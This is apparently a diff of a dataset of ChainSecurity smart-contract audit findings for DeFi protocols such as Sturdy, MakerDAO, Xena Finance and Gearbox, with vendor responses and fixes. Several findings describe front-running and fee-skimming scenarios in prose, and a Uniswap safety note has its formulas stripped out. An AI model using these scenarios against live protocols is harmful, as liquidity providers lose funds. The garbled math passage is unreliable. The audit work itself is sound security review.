multiple times.\n```\nCode corrected:\n\n```\n1.No change. Sturdy states:\n```\n```\nSince anyone can call DebtManager.removeLender and SiloGateway.borrowAsset,\nthey should not be payable in order to prevent the user from potentially\nsending ether and losing funds.\n```\n```\n2.The condition has been moved at the beginning of the loop.\n3.If the total idle assets are enough to cover the required amount, the loop is completely skipped.\n4.The APR is queried once for every lender in an independent loop before sorting.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.9 Misleading Error Names","body":"```\nInformational Version 1 Code Corrected\nCS-STUAGG-\n```\n- The error returned by DebtManager._manualAllocation() when the new debt exceeds the\n lender's max debt should be AG_HIGHER_DEBT\n\n\n- The error returned by DebtManager.requestLiquidity() when the requiredAmount is not\n equal to zero should be AG_INSUFFICIENT_ASSET\n- The errors returned when the lender's address is not active should be AG_INVALID_LENDER\n\nCode corrected:\n\nThe error names have been changed to more accurately reflect the error.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.10 Missing Input Sanitization","body":"```\nInformational Version 1 Code Corrected\nCS-STUAGG-\n```\nThe SiloGateway constructor and setUtilizationLimit function do not sanitize\nutilizationLimit_. It could accidentally be set to more than 100%.\n\nCode corrected:\n\nThe logic related to the utilization limits has been moved to the DebtManager, where input sanitization is\nproperly done. The limits are enforced to be strictly smaller than UTIL_PREC.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"7.1 manualAllocation Can Ignore Unrealized","severity":"minor","body":"Losses\n\n```\nInformational Version 1 Acknowledged\nCS-STUAGG-\n```\nIn manualAllocation(), there is the following check:\n\n```\nif (lenderData.current_debt == position.debt) continue;\n```\nThis is intended to skip a lender if there should be no change to its debt.\n\nHowever, the current_debt value may be outdated, as there is no call to\nassess_share_of_unrealised_losses().\n\nAs a result, the debt of the position when including unrealized losses may be different than expected.\n\nAcknowledged:\n\nSturdy responded:\n\n```\nUnrealised losses will be very rare;\nin the event they do occur, process_report() will be called before\nmanualAllocation() to prevent a discrepancy.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"7.2 zkAllocation Could Contain Duplicates","body":"```\nInformational Version 1 Acknowledged\nCS-STUAGG-\n```\nIn _manualAllocation(), there is no check that unique lenders are included in the input.\nzkAllocation() has a length check on the new positions array, but there may be duplicate entries.\n\nThe admin may call _manualAllocation() with any values.\n\nAdditionally, the existence check for positions happens after continue. As a result, a non-existent\nposition could be included in the array if the new position.debt is 0.\n\nAcknowledged:\n\nSturdy responded:\n\n```\nTo reduce gas costs, we don't check duplicate entries.\nThis is a permissioned function, so the admin and zkVerifier will avoid duplicated lenders.\n```\n\nAdditionally, the existence check for positions has been moved to before the continue in the\n_manualAllocation loop.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} {"title":"6.1 Wrong Chainlog Identifiers","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-UV2M-\n```\nUniV2PoolMigratorInit.init() retrieves the DaiNst and MkrNgt addresses from the chainlog\nthe following way:\n\n```\nDaiNstLike daiNst = DaiNstLike(dss.chainlog.getAddress(\"DAINST\"));\nMkrNgtLike mkrNgt = MkrNgtLike(dss.chainlog.getAddress(\"MKRNGT\"));\n```\nThe correct strings (as set by the corresponding deployment scripts), however, are \"DAI_NST\" and\n\"MKR_NGT\" respectively.\n\nCode corrected:\n\nLabels DAINST and MKRNGT have been replaced with the correct ones: DAI_NST and MKR_NGT.\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf"}} {"title":"7.1 Note on the Safety of Uniswap Operations","body":"Note Version 1\n\nTwo main considerations have been made when assessing the security of the script's Uniswap\noperations with regard to potential unwanted value extraction by adversaries.\n\n1. Let's consider a Uniswap V2 pool with token amounts , and we split it into two pools with amounts\n and. This is equivalent to creating two smaller pools at the original price ,\nas happens when removing liquidity and creating a new pool with that liquidity. Then, the amount\nobtained by trading an amount in any combination in the two pools is at most equal to the amount\nobtained when trading in the original pool. This can be seen by examining the function , which\nreturns the output amount when trading in the pool and in the\npool, with , and observing that the function is at a maximum when as can be seen from its\n0 derivative in that point and its negative second derivative over. This shows that splitting a big\npool into two smaller pools, as the script does, does not expose value that can be extracted by\nback-running.\n2. When presented with a pool with amounts and another pool with amounts , if is\nobtained by trading in the first pool, then is obtained by trading in the second pool. This\nshows that when replacing a token with a scaled version, such as MKR and NGT, the Uniswap\noperations safely scale in the same way.\n\nIn conjunction, these considerations make it so that:\n\n```\n1.no extractable value is exposed when splitting the pool (removing liquidity and creating a new pool)\nwithout slippage checks.\n```\n```\n2.no extractable value is exposed when converting the MKR tokens to NGT for the new pool.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_UniV2_Migration_audit.pdf"}} {"title":"6.1 Deployment Verification","body":"Note Version 1\n\nSince deployment of the contracts is not performed by the governance directly, special care has to be\ntaken that all contracts have been deployed correctly. While some variables can be checked upon\ninitialization through the PauseProxy, some things have to be checked beforehand.\n\nWe therefore assume that all mappings in the deployed contracts are checked for any unwanted entries\n(by verifying the bytecode of the contract and then looking at the emitted events). This is especially\ncrucial for wards mappings.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_NST_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_NST_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_NST_audit.pdf"}} @@ -2918,9 +3090,6 @@ {"title":"6.1 Missing Checks","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-ALD-\n```\nAllocatorInit.initIlk() does not check whether the uniV3Factory address is correctly set in\nthe DepositorUniV3 contract. While the deployer can not use a different, random contract instead of\nthe correct Uniswap factory contract, they can still deploy another factory with the same bytecode. This\nway, _getPool() can still correctly determine pool addresses. The deployer is now able to set themself\nas the owner of the factory which in turn allows them to set and collect the protocol fee.\n\nAlso, AllocatorInit.initIlk() does not check whether nstJoin in AllocatorVault has been\nset correctly. This is documented to be added later-on but currently not implemented.\n\nCode corrected:\n\nThe correct uniV3Factory address in DepositorUniV3 is now checked in the initialization script.\n\nNote that a check for nstJoin in AllocatorVault is still to be added when NstJoin has been added\nto the chainlog.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf"}} {"title":"6.2 Dynamic Debt Ceiling Missing","body":"```\nInformational Version 1 Code Corrected\nCS-ALD-\n```\nThe specification for the Allocator system states that:\n\n```\nThe Allocator Vaults have dynamic Debt Ceiling modification modules (IAMs) that are set to a\nmedium “ttl” and medium “gap” value resulting in a throttling effect on the amount of NewStable that\ncan be generated at once. The IAM acts as a circuit breaker in case of technical problems with the\nAllocatorDAOs Deployment Layer, limiting the potential for damage.\n```\nAllocatorInit, however, only sets a static debt ceiling and never deploys the required modules.\n\n\nCode corrected:\n\nThe debt ceiling is now set to a gap value in the vat. Additionally, the DssAutoLine contract is setup\nfor the new ilk by calling the setIlk() function with the given gap along with a ttl and a maximum\ndebt ceiling. Calling DssAutoLine.exec() increases the line of the ilk by gap in steps of ttl\nseconds.\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf"}} {"title":"7.1 Deployment Verification","body":"Note Version 1\n\nSince deployment of the contracts is not performed by the governance directly, special care has to be\ntaken that all contracts have been deployed correctly. While some variables can be checked upon\ninitialization through the PauseProxy, some things have to be checked beforehand.\n\nWe therefore assume that all mappings in the deployed contracts are checked for any unwanted entries\n(by verifying the bytecode of the contract and then looking at the emitted events). This is especially\ncrucial for wards mappings, and for Approve events emitted in the AllocatorBuffer.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_Allocator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_MakerDAO_Allocator_audit.pdf"}} -{"title":"6.1 ERC-20 Missing Return Value","body":"```\nDesign Low Version 1 Specification Changed\nCS-MDAC-\n```\nArrangerConduit handles ERC-20 transfers in the following way:\n\n```\nrequire(\nERC20Like(asset).transfer(destination, amount),\n\"ArrangerConduit/transfer-failed\"\n);\n```\nThis assumes that all ERC-20 contracts that can be called return a boolean value in their transfer()\nand transferFrom() functions. This is however not the case. Popular tokens like USDT are not\nreturning any value in the mentioned functions. If it were to happen that the arranger sends such tokens\nto the contract, the tokens would be locked and require an update of the contract.\n\nSpecification changed:\n\nTransfers are now performed without checking the return values of ERC20 tokens at all. MakerDAO\nassures that only tokens that revert on failure are used as assets in the contract.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} -{"title":"6.2 Floating Pragma","body":"```\nDesign Low Version 1 Code Corrected\nCS-MDAC-\n```\nThe ArrangerConduit contract is not set to a fixed solidity version - neither in the contract nor in the\nFoundry configuration. This can lead to unintended side-effects when the contract is compiled with\ndifferent compiler versions.\n\nCode corrected:\n\n\nThe compiler version 0.8.16 has been added to the Foundry configuration.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} -{"title":"7.1 Incorrect maxDeposit() Return Value","body":"```\nInformational Version 1\nCS-MDAC-\n```\nArrangerConduit.maxDeposit() always returns type(uint256).max. This value is, however,\nonly correct if the contract does not hold any tokens of the given asset at the time of the call.\nFurthermore, some tokens have a lower maximum (e.g., type(uint96).max in the COMP token).","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/ChainSecurity_MakerDAO_ArrangerConduit_audit-1.pdf"}} {"title":"5.1 Accrued Interest Is Not Accounted in","body":"trancheValue\n\n```\nDesign Medium Version 1 Risk Accepted\nCS-XENA-\n```\nThe interest that is owed to LPs by an open leveraged position is only accounted for when that position is\nupdated (increased or reduced), in _calcPositionFee().\n\nIf a position is opened, but then no longer updated for a long time, a significant amount of interest may\naccrue. This pending interest will not be calculated in _getTrancheValue(), leading to an\nundervaluation of LP shares.\n\nConsider the following situation:\n\nThere are 2 LPs, both with an equal amount of liquidity. A trader opens a position. The position is open\nfor 1 year and is paying 50% APR in interest. After a year, one of the LPs leaves. One minute later, the\ntrader closes their position. Now, the trader will pay the full interest amount to the remaining LP, even\nthough the risk of the position was shared equally among both LPs.\n\n\nA third LP could even front-run the transaction which closes the position, depositing an equal amount as\nthe remaining LP to the pool. The trader will now pay half of their accrued interest to the third LP, even\nthough they did not take any risk. The third LP could immediately withdraw their liquidity afterward,\nreceiving a risk-free profit.\n\nThe effect of this will be larger, the longer positions remain open without being updated. If positions\ntypically do not stay open for a long time, the accrued interest will likely be small enough that the\nundervaluation of LP shares is negligible.\n\nRisk accepted:\n\nXena Finance understands and accepts the risk posed by this issue, but has decided not to make a code\nchange.","dataSource":{"name":"ChainSecurity/ChainSecurity_Xena_Finance_Xena_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf"}} {"title":"5.2 Hardcoded Stablecoin Price","body":"```\nCorrectness Medium Version 1 Risk Accepted\nCS-XENA-\n```\nIn _getCollateralPrice(), if the collateral asset is marked as a stablecoin, the value is hardcoded\nto 1 USD. The configured oracle is not queried.\n\nIn case a stablecoin loses peg, this price will not match the oracle price.\n\nThe PnL (against USD) of shorts is always paid out as if the stablecoin was worth 1 USD, no matter the\nactual value. The collateral is valued consistenly between increasing and decreasing a position.\n\nHowever, in _getTrancheValue() of LiquidityCalculator, the stablecoins are valued at their\noracle price. The PnL of shorts is calculated in USD, independently of the current stablecoin price.\n\nConsider the following illustrative situation:\n\n```\n1.A pool has one tranche and no opening and trading fee, with 2000 USDC liquidity. A trader has an\nopen short position with 100 USDC collateral. They currently have a positive PnL of 100 USD. The\ntranche has reserved 1000 USDC of collateralToken from LPs. The oracle price of USDC is\n1 USD. The trancheValue will be calculated as (2000 - 1000) * 1 - 100 = 900.\n2.The oracle price of USDC collapses to zero.\n3.Now, the trancheValue will be calculated as (2000 - 1000) * 0 - 100 = -100.\n4.The trader closes their short. They will be paid out their collateral and 100 USDC (worth 0 USD).\n```\n```\n5.Now, the trancheValue will be calculated as (1900 * 0) = 0.\n```\nIn this extreme (and unlikely) example, the system invariant that AUM (trancheValue) must always be\npositive, can be broken. This would lead to _getTrancheValue always reverting when casting\ntoUint256(), which will make it impossible to add or remove liquidity from that tranche.\n\n```\n// aum MUST not be negative. If it is, please debug\nreturn aum.toUint256();\n```\nA price collapse of the stablecoin to zero is the most extreme case, but the same effect on\ntrancheValue happens in a smaller way as soon as the oracle price of the stablecoin is not exactly\n1 USD.\n\nThe incorrect trancheValue will lead to LP shares being over- or undervalued, which can lead to\nlosses for LPs.\n\n\nRisk accepted:\n\nXena Finance understands and accepts the risk posed by this issue, but has decided not to make a code\nchange.","dataSource":{"name":"ChainSecurity/ChainSecurity_Xena_Finance_Xena_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf"}} {"title":"5.3 LP Fee Distribution Is Unfair","body":"```\nDesign Medium Version 1 Acknowledged\nCS-XENA-\n```\nUpon position increase/decrease/liquidation, the LP fee is scaled and distributed according to the risk\nfactor, and not according to the distribution of the reserve amount across the tranches. In the case where\nthe system has three tranches (junior, mezzanine, and senior) and the junior tranche is full, the risk for\nnewly opened positions will only be distributed across the mezzanine and senior tranches. But in this\ncase, the junior tranche will still receive a share of the LP fee, although it does not participate in the risk,\nand the mezzanine and senior tranches will not get rewarded according to the new risk.\n\nConsider the following situation:\n\n```\n1.There is a pool with two tranches. Tranche A has 2/3 of the total riskFactor, tranche B has 1/3.\nTranche A has only one LP, Alice.\n```\n```\n2.Each time a trader wants to take leverage, Alice front-runs the increasePosition call of the\nexecutor with removeLiquidity, removing her entire balance.\n3.When increasePosition is executed, there is no unreserved liquidity in tranche A, so the full\namount is reserved in tranche B.\n4.Alice deposits her balance again.\n```\n```\n5.When the trader closes their leveraged position, Alice receives 2/3 of the positionFee, as well\nas the borrowFee (interest), even though she did not provide any leverage to the trader.\n```\nUpon a swap, the LP fee is similarly scaled and distributed according to the risk factor, and not according\nto the distribution of the amountOut. So, the LP fee does not reflect the liquidity utilization.\n\nAcknowledged:\n\nXena Finance acknowledged the issue with the following response:\n\n```\nThis is intended behavior\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Xena_Finance_Xena_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Xena_Finance_Xena_audit.pdf"}} @@ -3045,15 +3214,6 @@ {"title":"8.1 MetaPool With Underlying","body":"Note Version 1\n\nNote that there could be a Curve Metapool with a Metabpoolbase which contains an asset which has an\nunderlying. The current CuveV1_Base implementation does not support interaction using the underlying\nof of one of the assets in the Metapoolbase. Gearbox Protocol stated they do not aim to support this. In\npractice the two most relevant base pools are 3CRV and crvFRAX, which both don't have underlyings for\ntheir assets. If such a metapool was to be added, the swap into an underlying would be supported by the\nrouter.","dataSource":{"name":"ChainSecurity/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf"}} {"title":"8.2 Multicall Reverts When Temporarily","body":"Exceeding TokenLimit\n\nNote Version 1\n\nAdapters don't disable tokenIn when uncertain whether all balance was spent. Such tokens will be\ndisabled at the end of the multicall when the full check is executed. There is a corner case where a\nsequence of multicalls may revert for one credit account (as the limit would be temporarily exceeded) but\nnot for another (where the limit is not exceeded).\n\nThis may hinder the usage of predefined multicall sequences. Note that the problem can always be\nrectified by adding a call to disableToken in between.","dataSource":{"name":"ChainSecurity/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf"}} {"title":"8.3 WrappedAToken: depositUnderlying","body":"Assumption\n\nNote Version 1\n\nIt's of uttermost importance that the expected amount of aToken is deposited into the wrapper contract\nwhen shares are minted.\n\nAs argument assets the user passes the amount of underlying to depositUnderlying(). There is an\nassumption that when depositing x amount of underlying into Aave, x amount of aTokens is received in\nexchange. This holds if Aave works correctly as specified.\n\n```\nfunction depositUnderlying(uint256 assets) external override returns (uint256 shares) {\nunderlying.safeTransferFrom(msg.sender, address(this), assets);\nunderlying.safeApprove(address(lendingPool), assets);\nlendingPool.deposit(address(underlying), assets, address(this), 0);\nshares = _deposit(assets);\n}\n```\nHowever, this makes the contract vulnerable if Aave doesn't behave as expected.\n\n\nGearbox Protocol states:\n\n```\nWrapped aTokens will probably be deployed only for known tokens like WETH or USDC,\nfor which said assumption can be easily validated.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Gearbox_Protocol_Gearbox_V2_1_audit.pdf"}} -{"title":"6.1 Impossibility to Create One-Side Token","body":"Liquidity\n\n```\nCorrectness Low Version 1 Code Corrected\nCS-MKALLOC-\n```\nThe DeposiorUniV3 funnel has a uniswapV3MintCallback() function for properly integrating with\nUniswap V3 and move the funds. However, it only moves funds if the owed amount in token0 is greater\nthan 0. Hence, if the current tick is outside of the position's tick range so that it leads to one-sided liquidity\nin token1, no funds will be transferrable. Ultimately, one-sided token1 liquidity cannot be added. Thus,\ndeposits could be temporarily DOSed.\n\nCode corrected:\n\namt1Owed is now used for transfers of token1.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"6.2 Incorrect Uniswap V3 Path Interpretation","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-MKALLOC-\n```\nThe swapper callback contract for UniswapV3 interprets the last tokens as follows:\n\n```\nlastToken := div(mload(sub(add(add(path, 0x20), mload(path)), 0x14)), 0x1000000000000000000000000)\n```\nNamely, it loads the last 20 bytes as the last token. However, the path may have some additional unused\ndata so that the last token does not have any effect on the execution. Consider the following example:\n\n```\n1.The path is encoded as [srcToken fee randomToken dstToken].\n2.The swapper will interpret dstToken as the last token.\n3.However, in UniswapV3, randomToken will be received.\n```\n\n```\n4.In case no slippage requirements for the amount out are present, randomToken will be received\nsuccessfully and will be stuck in the swapper contract.\n```\nUltimately, the path is wrongly interpreted which could, given some configurations, lead to tokens lost\nunnecessarily due to bad input values.\n\nCode corrected:\n\nThe check towards the correctness of path encoding has been removed, as it provides a false sense of\nsecurity. Ultimately, the swap is protected by the minimum output token amount requirement.\n\nMaker states:\n\n```\nThese checks were only meant to provide more explicit revert reasons for a subset\nof (common) path misconfigurations and were not meant to catch all possible incorrect\npath arrays. Ultimately the \"\"Swapper/too-few-dst-received\"\" check is the only one\nthat matters. But since that seems to cause confusion, we just removed the checks.\n```","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"6.3 Gas Inefficiencies","body":"```\nInformational Version 1 Code Corrected\nCS-MKALLOC-\n```\nBelow is a non-exhaustive list of gas inefficiencies:\n\n```\n1.In AllocatorVault.wipe(), the call vat.frob() takes address(this) as an argument for\nthe gem balance manipulation. However, due to the gem balance not being interacted with, using\naddress(0) may improve gas consumption minimally.\n```\n```\n2.In the withdrawal and deposit functions of the UniV3Depositor, an unnecessary MSTORE\noperation is performed when caching era into memory. Using only the SLOAD could be sufficient.\n```\nCode corrected:\n\nCode has been corrected to optimize the gas efficiency.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"7.1 Lack of Sanity Checks","body":"```\nInformational Version 1 Acknowledged\nCS-MKALLOC-\n```\nThe code often lacks sanity checks for setting certain variables. The following is a non-exhaustive list:\n\n```\n1.On deployment, the conduit mover does not validate whether the ilk and the buffer match against\nthe registry.\n```\n```\n2.Similarly, that is the case for the allocator vault.\n```\nMaker states:\n\n```\nThe sanity checks are done as part of the init functions (to be called in the\nrelevant spell).\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"8.1 1T NST Minting","body":"Note Version 1\n\nThe documentation specifies that a maximum of 1T NST should be placed and that at most 1T NST\nshould be mintable. However, that may not be the case if the spotter has mat and par set to unsuitable\nvalues. Technically, Vat.rate could be decreasing (depending on the jug). Hence, with a decreasing\nrate, more than 1T NST could be minted. Additionally, governance is expected to provide the allocator\nvault with a gem balance through Vat.slip(). Calling this multiple times would allow to re-initialize the\nallocator vault multiple times to create more ink than intended (and, hence, allowing for more debt than\nexpected).\n\nUltimately, governance should be careful when choosing properties.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"8.2 Deposit and Withdraw Share the Same","body":"Capacity\n\nNote Version 1\n\nThe governance can set a PairLimit in DepositorUniV3, which limits the maximum amount of a pair\nof tokens that can be added or removed from the pool per era. Instead of setting two capacity parameters\nfor adding liquidity and removing liquidity respectively, both actions share the same capacity.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"8.3 Potentially Outdated Debt Estimation","body":"Note Version 1\n\nIn contract AllocatorVault, debt() returns an estimation of the debt that is on the Vault's urn. This\nestimation could be outdated if the vat's rate has not been updated by the jug.drip() in the same\nblock.\n\nThe getter debt() has been removed (along with line() and slot()). Maker states that they are not\nstrictly needed and can be implemented in another contract as well.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"8.4 Shutdown Not Considered","body":"Note Version 1\n\nThe shutdown was not in scope and users should be aware that consequences of a potential shutdown\nhave not been investigated as part of this audit.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} -{"title":"8.5 Topology May Break the Intended Rate Limit","body":"Note Version 1\n\nThe keepers' ability to move funds between conduits/buffer and swapping tokens is limited by the triplets\n(from, to, gem) and (src, dst, amt) respectively. However, the actual funds flow between from and to\n(src and dst) could exceed the config dependent on the topology of the settings.\n\nAssume there is a config that limits moving NST between conduits CA and CB to 100 per hop:\n(CA, CB, 100). If there are another two configs (CA, CX, 40) and (CX, CB, 60) exist, then\nkeepers can move at most 100 + 40 = 140 DAI from CA to CB per hop.\n\nThe same situation applies to Swapper. Therefore, the topology of the configs should be carefully\ninspected.\n\nMaker states:\n\n```\nThe rate limit for each swap/move pair is an authed configuration of the allocator\nproxy. It is therefore assumed to know what it is doing and is allowed to set any\nconfiguration regardless of paths or 